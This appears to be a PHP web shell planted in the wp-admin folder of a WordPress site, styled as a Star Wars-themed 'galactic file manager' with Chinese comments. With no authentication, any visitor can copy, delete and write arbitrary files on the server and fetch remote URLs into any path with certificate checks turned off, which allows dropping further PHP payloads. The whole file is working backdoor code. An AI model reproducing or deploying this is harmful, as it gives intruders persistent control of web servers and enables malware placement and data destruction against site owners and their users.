File: /home/parhudrw/fadyfun.saifookhan.com/wp-admin/do77.php
<?php
/**
* 文件操作管理平台 - 太空歌剧星球大战风格
* 功能与上一版本完全一致,采用星球大战太空歌剧美学
* 代码风格:极简主义,去除冗余封装,保持清爽
*/
error_reporting(E_ALL & ~E_NOTICE);
session_status() === PHP_SESSION_NONE && session_start();
define('ACT_UPLOAD', 'upload_file');
define('ACT_DELETE', 'delete_file');
define('ACT_TEXT', 'create_from_text');
define('ACT_URL', 'create_from_url');
$action = $_POST['action'] ?? '';
$src_raw = $_POST['source_paths'] ?? '';
$dst_raw = $_POST['target_paths'] ?? '';
$content = $_POST['file_content'] ?? '';
$filename = $_POST['file_name'] ?? '';
$src_lines = [];
foreach (explode("\n", $src_raw) as $line) {
$line = trim($line);
$line !== '' && $src_lines[] = $line;
}
$dst_lines = [];
foreach (explode("\n", $dst_raw) as $line) {
$line = trim($line);
$line !== '' && $dst_lines[] = $line;
}
$results = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($action === ACT_UPLOAD) {
if (empty($src_lines) || empty($dst_lines)) {
$results[] = ['type' => 'error', 'msg' => '🚀 I HAVE A BAD FEELING ABOUT THIS! Source and target paths required!'];
} else {
foreach ($src_lines as $src_file) {
if (!file_exists($src_file)) {
$results[] = ['type' => 'error', 'msg' => "🚀 LOST IN HYPERSPACE: $src_file"];
continue;
}
if (!is_readable($src_file)) {
$results[] = ['type' => 'error', 'msg' => "🚀 THE FORCE CANNOT READ IT: $src_file"];
continue;
}
$src_size = filesize($src_file);
if ($src_size === false) {
$results[] = ['type' => 'error', 'msg' => "🚀 THE DARK SIDE CLOUDS IT: $src_file"];
continue;
}
if ($src_size === 0) {
$results[] = ['type' => 'warning', 'msg' => "⚠️ EMPTY CARGO HOLD: $src_file (0 CREDITS)"];
}
$base_name = basename($src_file);
foreach ($dst_lines as $dst_dir) {
$dst_dir = rtrim($dst_dir, '/\\');
$dst_path = $dst_dir . DIRECTORY_SEPARATOR . $base_name;
$dir = dirname($dst_path);
if (!is_dir($dir)) {
if (!mkdir($dir, 0755, true)) {
$results[] = ['type' => 'error', 'msg' => "🚀 CANNOT DOCK AT THE SPACE STATION: $dir"];
continue;
}
}
if (!is_writable($dir)) {
$results[] = ['type' => 'error', 'msg' => "🚀 IMPERIAL BLOCKADE: $dir"];
continue;
}
$copy_success = false;
$error_msg = '';
if (copy($src_file, $dst_path)) {
$copy_success = true;
} else {
$cargo = file_get_contents($src_file);
if ($cargo !== false) {
if (file_put_contents($dst_path, $cargo) !== false) {
$copy_success = true;
} else {
$error_msg = 'TIE FIGHTER ATTACK';
}
} else {
$error_msg = 'DEATH STAR TARGETING FAILURE';
}
}
if ($copy_success) {
clearstatcache();
$dst_size = filesize($dst_path);
if ($dst_size === $src_size) {
$results[] = ['type' => 'success', 'msg' => "✨ MAY THE FORCE BE WITH YOU: $dst_path [{$dst_size} CREDITS]"];
} else {
$results[] = ['type' => 'error', 'msg' => "⚠️ THE FORCE IS NOT WITH US! SRC:{$src_size} DST:{$dst_size} - $dst_path"];
@unlink($dst_path);
}
} else {
$results[] = ['type' => 'error', 'msg' => "🚀 THE EMPIRE STRIKES BACK: $dst_path [$error_msg]"];
}
}
}
}
}
elseif ($action === ACT_DELETE) {
if (empty($src_lines) || empty($dst_lines)) {
$results[] = ['type' => 'error', 'msg' => '🚀 I HAVE A BAD FEELING ABOUT THIS! Source and target paths required!'];
} else {
foreach ($src_lines as $src_file) {
$base_name = basename($src_file);
foreach ($dst_lines as $dst_dir) {
$dst_dir = rtrim($dst_dir, '/\\');
$dst_path = $dst_dir . DIRECTORY_SEPARATOR . $base_name;
if (!file_exists($dst_path)) {
$results[] = ['type' => 'warning', 'msg' => "⚠️ IT'S A TRAP! NOTHING HERE: $dst_path"];
continue;
}
if (!is_writable($dst_path)) {
$results[] = ['type' => 'error', 'msg' => "🚀 THE DEATH STAR SHIELDS ARE UP: $dst_path"];
continue;
}
$file_size = filesize($dst_path);
if (unlink($dst_path)) {
$results[] = ['type' => 'success', 'msg' => "💥 THAT'S NO MOON... IT'S GONE! $dst_path [{$file_size} CREDITS LOST]"];
} else {
$results[] = ['type' => 'error', 'msg' => "🚀 THE REBELLION FAILED: $dst_path"];
}
}
}
}
}
elseif ($action === ACT_TEXT) {
if ($content === '' || $filename === '') {
$results[] = ['type' => 'error', 'msg' => '🚀 USE THE FORCE! WORDS AND A NAME YOU NEED!'];
} else {
$dir = dirname($filename);
if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
$results[] = ['type' => 'error', 'msg' => "🚀 CANNOT DOCK AT THE SPACE STATION: $dir"];
} else {
if (!is_writable($dir)) {
$results[] = ['type' => 'error', 'msg' => "🚀 IMPERIAL BLOCKADE: $dir"];
} else {
$bytes = file_put_contents($filename, $content);
if ($bytes !== false) {
clearstatcache();
$actual_size = filesize($filename);
$results[] = ['type' => 'success', 'msg' => "✨ THE FORCE IS STRONG: $filename [{$bytes} WORDS, {$actual_size} CREDITS]"];
} else {
$results[] = ['type' => 'error', 'msg' => "🚀 THE DARK SIDE WINS: $filename"];
}
}
}
}
}
elseif ($action === ACT_URL) {
if ($content === '' || $filename === '') {
$results[] = ['type' => 'error', 'msg' => '🚀 THE FORCE NEEDS A DESTINATION AND A MESSAGE!'];
} else {
$url = trim($content);
if (!filter_var($url, FILTER_VALIDATE_URL)) {
$results[] = ['type' => 'error', 'msg' => "🚀 THESE ARE NOT THE DROIDS YOU'RE LOOKING FOR: $url"];
} else {
$remote = false;
$download_method = '';
$ctx = stream_context_create([
'http' => [
'timeout' => 30,
'user_agent' => 'Millennium-Falcon/1.0',
'follow_location' => 1,
'max_redirects' => 5
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
]);
$remote = @file_get_contents($url, false, $ctx);
if ($remote !== false) {
$download_method = 'HYPERDRIVE';
} else {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_USERAGENT, 'Millennium-Falcon/1.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$remote = curl_exec($ch);
$curl_error = curl_error($ch);
curl_close($ch);
if ($remote !== false) {
$download_method = 'LIGHTSABER';
} else {
$results[] = ['type' => 'error', 'msg' => "🚀 THE DEATH STAR DESTROYED IT: $curl_error"];
}
}
}
if ($remote === false) {
$results[] = ['type' => 'error', 'msg' => "🚀 THE FORCE IS WEAK WITH THIS ONE: $url"];
} else {
$downloaded_size = strlen($remote);
if ($downloaded_size === 0) {
$results[] = ['type' => 'warning', 'msg' => "⚠️ EMPTY HOLOGRAM: $url"];
}
$dir = dirname($filename);
if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
$results[] = ['type' => 'error', 'msg' => "🚀 CANNOT DOCK AT THE SPACE STATION: $dir"];
} else {
if (!is_writable($dir)) {
$results[] = ['type' => 'error', 'msg' => "🚀 IMPERIAL BLOCKADE: $dir"];
} else {
$bytes = file_put_contents($filename, $remote);
if ($bytes !== false) {
clearstatcache();
$actual_size = filesize($filename);
$results[] = ['type' => 'success', 'msg' => "✨ THE REBELLION WINS: $filename [VIA:{$download_method} RECEIVED:{$downloaded_size} CREDITS, SAVED:{$actual_size} CREDITS]"];
} else {
$results[] = ['type' => 'error', 'msg' => "🚀 THE EMPIRE STRIKES BACK: $filename"];
}
}
}
}
}
}
}
}
$src_display = htmlspecialchars($src_raw, ENT_QUOTES, 'UTF-8');
$dst_display = htmlspecialchars($dst_raw, ENT_QUOTES, 'UTF-8');
$content_display = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
$filename_display = htmlspecialchars($filename, ENT_QUOTES, 'UTF-8');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🚀 STAR WARS · GALACTIC FILE SYSTEM 🚀</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
/* ===== 太空歌剧星球大战风格 =====
银河帝国、反抗军、千年隼、光剑
主色调:帝国黑、光剑蓝、西斯红、全息绿
*/
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #0a0a0f;
background-image:
radial-gradient(circle at 20% 30%, #2a4a6a 0%, transparent 30%),
radial-gradient(circle at 80% 70%, #4a2a4a 0%, transparent 40%),
radial-gradient(circle at 40% 50%, #2a4a2a 0%, transparent 30%);
min-height: 100vh;
font-family: 'Arial', 'Helvetica', 'Courier New', sans-serif;
padding: 30px;
color: #ffd966;
position: relative;
overflow-x: hidden;
}
/* 星星效果 */
body::before {
content: '';
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-image:
radial-gradient(2px 2px at 10px 20px, #fff, rgba(0,0,0,0)),
radial-gradient(2px 2px at 90px 180px, #ffd, rgba(0,0,0,0)),
radial-gradient(3px 3px at 230px 560px, #aaf, rgba(0,0,0,0));
background-repeat: repeat;
background-size: 200px 200px;
opacity: 0.5;
animation: hyperspace 200s linear infinite;
pointer-events: none;
z-index: 0;
}
@keyframes hyperspace {
0% { transform: translate(0, 0); }
100% { transform: translate(-200px, -200px); }
}
/* 全息扫描线 */
body::after {
content: '';
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: repeating-linear-gradient(0deg,
rgba(0, 255, 255, 0.02) 0px,
rgba(0, 255, 255, 0.02) 2px,
transparent 2px,
transparent 4px);
pointer-events: none;
z-index: 0;
}
.galaxy {
max-width: 1300px;
margin: 0 auto;
position: relative;
z-index: 1;
display: flex;
flex-direction: column;
gap: 30px;
}
/* ===== 银河议会 ===== */
.galactic-senate {
background: #1a1a2a;
border: 4px solid #4a9aff;
border-radius: 20px;
padding: 30px 40px;
display: flex;
align-items: center;
justify-content: space-between;
position: relative;
box-shadow: 0 0 30px #4a9aff;
}
.galactic-senate::before {
content: '⚔️ ⚔️ ⚔️';
position: absolute;
top: -15px;
left: 50%;
transform: translateX(-50%);
background: #1a1a2a;
padding: 0 20px;
color: #ff4a4a;
font-size: 24px;
letter-spacing: 10px;
text-shadow: 0 0 20px #ff4a4a;
}
.starwars-brand {
display: flex;
align-items: center;
gap: 20px;
}
.rebel-symbol {
width: 70px;
height: 70px;
background: #ff4a4a;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-size: 40px;
color: #fff8e0;
border: 4px solid #ffd966;
box-shadow: 0 0 30px #ff4a4a;
position: relative;
}
.rebel-symbol::after {
content: '⚡';
position: absolute;
top: -15px;
right: -15px;
font-size: 30px;
color: #4a9aff;
text-shadow: 0 0 20px #4a9aff;
}
.starwars-brand h1 {
font-size: 48px;
font-weight: 700;
color: #ffd966;
text-shadow: 0 0 20px #ff4a4a, 0 0 40px #4a9aff;
letter-spacing: 4px;
font-family: 'Arial Black', sans-serif;
}
.starwars-brand h1 span {
font-size: 16px;
display: block;
color: #9acdff;
text-shadow: 0 0 10px #4a9aff;
letter-spacing: 8px;
}
.death-star {
background: #2a1a1a;
border: 4px solid #ff4a4a;
border-radius: 50%;
width: 80px;
height: 80px;
display: flex;
align-items: center;
justify-content: center;
font-size: 36px;
color: #ff4a4a;
box-shadow: 0 0 30px #ff4a4a;
}
/* ===== 原力面板 ===== */
.force-panel {
background: #1a1a2a;
border: 4px solid #4a9aff;
border-radius: 20px;
padding: 20px;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
box-shadow: 0 0 30px #4a9aff;
}
.force-item {
background: #0a0a1a;
border: 2px solid #ff4a4a;
border-radius: 15px;
padding: 15px 20px;
display: flex;
align-items: center;
gap: 15px;
box-shadow: 0 0 20px #ff4a4a;
}
.force-icon {
font-size: 32px;
color: #ffd966;
}
.force-data {
flex: 1;
}
.force-label {
font-size: 12px;
color: #9acdff;
text-transform: uppercase;
letter-spacing: 2px;
}
.force-value {
font-size: 18px;
font-weight: bold;
color: #ffd966;
}
.force-light { border-left: 10px solid #4a9aff; }
.force-dark { border-left: 10px solid #ff4a4a; }
.force-neutral { border-left: 10px solid #9acdff; }
/* ===== 主网格 ===== */
.galaxy-grid {
display: grid;
grid-template-columns: 1.2fr 1fr;
gap: 25px;
}
@media (max-width: 850px) {
.galaxy-grid {
grid-template-columns: 1fr;
}
}
/* ===== 星际飞船 ===== */
.starship {
background: #1a1a2a;
border: 4px solid #4a9aff;
border-radius: 20px;
padding: 30px;
box-shadow: 0 0 30px #4a9aff;
position: relative;
}
.starship::before {
content: '🚀';
position: absolute;
top: -20px;
left: 20px;
font-size: 40px;
background: #1a1a2a;
padding: 0 15px;
border-radius: 20px;
border: 2px solid #ff4a4a;
transform: rotate(-10deg);
}
.starship::after {
content: '✨';
position: absolute;
bottom: -15px;
right: 30px;
font-size: 40px;
opacity: 0.5;
animation: hyperdrive 3s ease infinite;
}
@keyframes hyperdrive {
0%, 100% { transform: translateX(0); opacity: 0.5; }
50% { transform: translateX(20px); opacity: 1; }
}
.ship-header {
display: flex;
align-items: center;
gap: 15px;
margin-bottom: 25px;
border-bottom: 2px solid #ff4a4a;
padding-bottom: 15px;
}
.ship-header i {
font-size: 40px;
color: #ffd966;
text-shadow: 0 0 20px #ffd966;
}
.ship-header h2 {
font-size: 28px;
font-weight: 700;
color: #ffd966;
text-shadow: 0 0 10px #ff4a4a;
letter-spacing: 2px;
}
/* ===== 表单 ===== */
.galaxy-field {
margin-bottom: 25px;
}
.galaxy-label {
display: flex;
align-items: center;
gap: 10px;
font-size: 18px;
font-weight: 600;
color: #9acdff;
margin-bottom: 8px;
background: #0a0a1a;
padding: 8px 20px;
border: 2px solid #4a9aff;
border-radius: 15px;
width: fit-content;
box-shadow: 0 0 15px #4a9aff;
}
.galaxy-label i {
color: #ffd966;
}
textarea,
input[type="text"] {
width: 100%;
background: #0a0a1a;
border: 2px solid #4a9aff;
border-radius: 15px;
color: #ffd966;
font-family: 'Courier New', monospace;
font-size: 16px;
padding: 16px 22px;
resize: vertical;
box-shadow: inset 0 0 20px #0a0a1a, 0 0 20px #4a9aff;
}
textarea:focus,
input[type="text"]:focus {
outline: none;
border-color: #ff4a4a;
box-shadow: inset 0 0 20px #0a0a1a, 0 0 30px #ff4a4a;
}
textarea::placeholder,
input::placeholder {
color: #4a6a8a;
}
textarea {
min-height: 120px;
}
.galaxy-hint {
font-size: 14px;
color: #9acdff;
margin-top: 8px;
display: flex;
align-items: center;
gap: 6px;
}
/* ===== 原力按钮 ===== */
.force-actions {
display: flex;
gap: 15px;
margin-top: 30px;
flex-wrap: wrap;
}
.force-btn {
flex: 1;
min-width: 120px;
background: #1a1a2a;
border: 3px solid;
border-radius: 15px;
padding: 16px 20px;
font-family: 'Arial Black', sans-serif;
font-size: 20px;
font-weight: bold;
color: #ffd966;
cursor: pointer;
transition: 0.2s;
display: flex;
align-items: center;
justify-content: center;
gap: 12px;
text-transform: uppercase;
letter-spacing: 2px;
box-shadow: 0 0 20px currentColor;
}
.force-btn:hover {
transform: translateY(-4px);
box-shadow: 0 0 30px currentColor;
}
.force-btn:active {
transform: translateY(4px);
}
.btn-light {
border-color: #4a9aff;
color: #4a9aff;
}
.btn-dark {
border-color: #ff4a4a;
color: #ff4a4a;
}
.btn-jedi {
border-color: #4aff4a;
color: #4aff4a;
}
.btn-sith {
border-color: #ff4aff;
color: #ff4aff;
}
/* ===== 绝地圣殿日志 ===== */
.jedi-archives {
background: #1a1a2a;
border: 4px solid #4a9aff;
border-radius: 20px;
padding: 30px;
box-shadow: 0 0 30px #4a9aff;
margin-top: 10px;
position: relative;
}
.jedi-archives::before {
content: '📜 JEDI ARCHIVES 📜';
position: absolute;
top: -15px;
left: 50%;
transform: translateX(-50%);
background: #1a1a2a;
padding: 5px 40px;
border: 2px solid #ff4a4a;
border-radius: 20px;
color: #ffd966;
font-size: 18px;
letter-spacing: 4px;
white-space: nowrap;
box-shadow: 0 0 20px #ff4a4a;
}
.log-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 25px;
border-bottom: 2px solid #ff4a4a;
padding-bottom: 15px;
}
.log-title {
display: flex;
align-items: center;
gap: 12px;
}
.log-title i {
font-size: 36px;
color: #ffd966;
text-shadow: 0 0 20px #ffd966;
}
.log-title h3 {
font-size: 24px;
font-weight: 700;
color: #ffd966;
text-shadow: 0 0 10px #4a9aff;
}
.log-counter {
background: #0a0a1a;
border: 2px solid #4a9aff;
border-radius: 15px;
padding: 8px 25px;
color: #9acdff;
font-size: 18px;
font-weight: bold;
box-shadow: 0 0 20px #4a9aff;
}
/* ===== 日志流 ===== */
.log-stream {
max-height: 320px;
overflow-y: auto;
padding: 15px;
background: #0a0a1a;
border: 2px solid #ff4a4a;
border-radius: 15px;
box-shadow: inset 0 0 30px #0a0a1a;
}
.log-entry {
display: flex;
align-items: baseline;
gap: 15px;
padding: 15px 20px;
margin-bottom: 10px;
background: #1a1a2a;
border-left: 10px solid;
border-radius: 10px;
box-shadow: 0 0 15px currentColor;
font-size: 16px;
transition: 0.2s;
color: #ffd966;
}
.log-entry:hover {
transform: translateX(10px);
box-shadow: 0 0 25px currentColor;
}
.log-success {
border-left-color: #4a9aff;
}
.log-error {
border-left-color: #ff4a4a;
}
.log-warning {
border-left-color: #ffd966;
}
.log-icon {
width: 32px;
text-align: center;
font-size: 20px;
}
.log-message {
flex: 1;
word-break: break-word;
}
.empty-log {
text-align: center;
padding: 60px 20px;
color: #4a6a8a;
display: flex;
flex-direction: column;
align-items: center;
gap: 20px;
}
.empty-log i {
font-size: 64px;
color: #ff4a4a;
opacity: 0.5;
text-shadow: 0 0 30px #ff4a4a;
}
.empty-log div {
font-size: 24px;
}
/* ===== 底部 ===== */
.galaxy-footer {
margin-top: 30px;
padding: 25px;
background: #0a0a1a;
border: 4px solid #4a9aff;
border-radius: 20px;
display: flex;
align-items: center;
justify-content: space-between;
color: #9acdff;
font-size: 16px;
box-shadow: 0 0 30px #4a9aff;
}
.footer-left {
display: flex;
gap: 30px;
}
.footer-left span {
display: flex;
align-items: center;
gap: 8px;
}
.footer-right {
display: flex;
gap: 20px;
}
.footer-right i {
font-size: 24px;
color: #ffd966;
transition: 0.2s;
text-shadow: 0 0 15px #ffd966;
}
.footer-right i:hover {
transform: scale(1.2);
color: #ff4a4a;
text-shadow: 0 0 30px #ff4a4a;
}
/* 星球装饰 */
.planet {
position: absolute;
font-size: 40px;
opacity: 0.15;
pointer-events: none;
z-index: 0;
}
.planet-left {
top: 150px;
left: 20px;
animation: orbit 20s linear infinite;
}
.planet-right {
bottom: 150px;
right: 20px;
animation: orbit 25s linear infinite reverse;
}
@keyframes orbit {
0% { transform: rotate(0) translateX(0); }
100% { transform: rotate(360deg) translateX(30px); }
}
/* 光剑效果 */
.lightsaber {
width: 4px;
height: 30px;
background: #4a9aff;
box-shadow: 0 0 20px #4a9aff;
margin: 0 10px;
animation: hum 2s ease infinite;
}
@keyframes hum {
0%, 100% { box-shadow: 0 0 20px #4a9aff; }
50% { box-shadow: 0 0 40px #4a9aff; }
}
/* 滚动条 */
.log-stream::-webkit-scrollbar {
width: 12px;
}
.log-stream::-webkit-scrollbar-track {
background: #0a0a1a;
border-radius: 10px;
}
.log-stream::-webkit-scrollbar-thumb {
background: #ff4a4a;
border-radius: 10px;
box-shadow: 0 0 20px #ff4a4a;
}
.log-stream::-webkit-scrollbar-thumb:hover {
background: #4a9aff;
}
</style>
</head>
<body>
<!-- 星球装饰 -->
<div class="planet planet-left">🪐</div>
<div class="planet planet-right">🌕</div>
<div class="galaxy">
<!-- 银河议会 -->
<div class="galactic-senate">
<div class="starwars-brand">
<div class="rebel-symbol">
⚡
</div>
<div>
<h1>
GALACTIC FILE
<span>A LONG TIME AGO...</span>
</h1>
</div>
</div>
<div class="death-star">
💀
</div>
</div>
<!-- 原力面板 -->
<div class="force-panel">
<div class="force-item force-light">
<div class="force-icon"><i class="fas fa-sun"></i></div>
<div class="force-data">
<div class="force-label">LIGHT SIDE</div>
<div class="force-value"><?= is_writable('.') ? 'STRONG' : 'WEAK' ?></div>
</div>
</div>
<div class="force-item force-light">
<div class="force-icon"><i class="fas fa-jedi"></i></div>
<div class="force-data">
<div class="force-label">JEDI ORDER</div>
<div class="force-value"><?= function_exists('copy') ? 'READY' : 'FALLEN' ?></div>
</div>
</div>
<div class="force-item force-dark">
<div class="force-icon"><i class="fas fa-skull"></i></div>
<div class="force-data">
<div class="force-label">SITH LORD</div>
<div class="force-value"><?= function_exists('curl_init') ? 'AWAKE' : 'SLEEPING' ?></div>
</div>
</div>
<div class="force-item force-light">
<div class="force-icon"><i class="fas fa-coins"></i></div>
<div class="force-data">
<div class="force-label">GALACTIC CREDITS</div>
<div class="force-value"><?= round(disk_free_space('.') / 1024 / 1024) ?> CREDITS</div>
</div>
</div>
</div>
<!-- 主表单 -->
<form method="POST">
<div class="galaxy-grid">
<!-- 左侧:千年隼 -->
<div class="starship">
<div class="ship-header">
<i class="fas fa-rocket"></i>
<h2>🚀 MILLENNIUM FALCON</h2>
</div>
<div class="galaxy-field">
<div class="galaxy-label">
<i class="fas fa-cube"></i> CARGO MANIFEST
</div>
<textarea name="source_paths" placeholder="/hoth/cargo1 /hoth/cargo2"><?= $src_display ?></textarea>
<div class="galaxy-hint">
<i class="fas fa-arrow-right"></i> ONE CARGO PER LINE
</div>
</div>
<div class="galaxy-field">
<div class="galaxy-label">
<i class="fas fa-map"></i> HYPERSPACE COORDINATES
</div>
<textarea name="target_paths" placeholder="/alderaan/sector1 /tatooine/sector2"><?= $dst_display ?></textarea>
</div>
<div class="force-actions">
<button type="submit" name="action" value="<?= ACT_UPLOAD ?>" class="force-btn btn-light">
<i class="fas fa-jedi"></i> JEDI MIND TRICK
</button>
<button type="submit" name="action" value="<?= ACT_DELETE ?>" class="force-btn btn-dark" onclick="return confirm('🚀 USE THE DARK SIDE? IT WILL DESTROY IT!')">
<i class="fas fa-skull"></i> SITH LIGHTNING
</button>
</div>
</div>
<!-- 右侧:死星 -->
<div class="starship">
<div class="ship-header">
<i class="fas fa-planet-ringed"></i>
<h2>💀 DEATH STAR</h2>
</div>
<div class="galaxy-field">
<div class="galaxy-label">
<i class="fas fa-pen"></i> HOLOGRAM MESSAGE
</div>
<textarea name="file_content" placeholder="Help me Obi-Wan Kenobi..."><?= $content_display ?></textarea>
</div>
<div class="galaxy-field">
<div class="galaxy-label">
<i class="fas fa-save"></i> TARGET PLANET
</div>
<input type="text" name="file_name" value="<?= $filename_display ?>" placeholder="/alderaan/message.txt">
</div>
<div class="force-actions">
<button type="submit" name="action" value="<?= ACT_TEXT ?>" class="force-btn btn-jedi">
<i class="fas fa-feather"></i> THE FORCE
</button>
<button type="submit" name="action" value="<?= ACT_URL ?>" class="force-btn btn-sith">
<i class="fas fa-bolt"></i> DEATH STAR
</button>
</div>
</div>
</div>
</form>
<!-- 绝地圣殿日志 -->
<div class="jedi-archives">
<div class="log-header">
<div class="log-title">
<i class="fas fa-scroll"></i>
<h3>📖 JEDI ARCHIVES</h3>
</div>
<div class="log-counter">
<?= count($results) ?> HOLOCRON RECORDS
</div>
</div>
<div class="log-stream">
<?php if (empty($results)): ?>
<div class="empty-log">
<i class="fas fa-jedi"></i>
<div>THE FORCE IS QUIET</div>
<div style="font-size: 14px;">MAY THE FORCE BE WITH YOU...</div>
</div>
<?php else: ?>
<?php foreach ($results as $log): ?>
<div class="log-entry log-<?= $log['type'] ?>">
<div class="log-icon">
<?php if ($log['type'] === 'success'): ?>
✨
<?php elseif ($log['type'] === 'error'): ?>
💀
<?php else: ?>
⚠️
<?php endif; ?>
</div>
<div class="log-message"><?= htmlspecialchars($log['msg']) ?></div>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>
</div>
<!-- 底部 -->
<div class="galaxy-footer">
<div class="footer-left">
<span><i class="fas fa-jedi"></i> JEDI ORDER</span>
<span><i class="fas fa-skull"></i> SITH LORD</span>
<span><i class="fas fa-rocket"></i> REBEL ALLIANCE</span>
</div>
<div class="footer-right">
<i class="fas fa-jedi"></i>
<i class="fas fa-skull"></i>
<i class="fas fa-rocket"></i>
<i class="fas fa-planet-ringed"></i>
</div>
</div>
</div>
<script>
(function() {
// 删除确认 - 星球大战风格
document.querySelectorAll('.btn-dark').forEach(btn => {
btn.addEventListener('click', e => {
if (!confirm('🚀 USE THE DARK SIDE? IT WILL DESTROY THE FILE FOREVER!')) {
e.preventDefault();
}
});
});
// 自动滚动日志
const stream = document.querySelector('.log-stream');
if (stream) stream.scrollTop = stream.scrollHeight;
// 动态placeholder
document.querySelectorAll('textarea[name="source_paths"]').forEach(el => {
el.addEventListener('input', function() {
const lines = this.value.split('\n').filter(l => l.trim() !== '').length;
if (lines.length > 0) {
this.placeholder = `🚀 ${lines} CARGO CONTAINERS`;
}
});
});
// 光剑效果
setInterval(() => {
const lightsabers = document.querySelectorAll('.force-item');
lightsabers.forEach(saber => {
if (Math.random() > 0.8) {
saber.style.boxShadow = '0 0 40px currentColor';
setTimeout(() => {
saber.style.boxShadow = '0 0 20px currentColor';
}, 200);
}
});
}, 2000);
console.log('%c🚀 STAR WARS FILE MANAGER · MAY THE FORCE BE WITH YOU! 🚀', 'color: #4a9aff; font-size: 16px;');
})();
</script>
</body>
</html>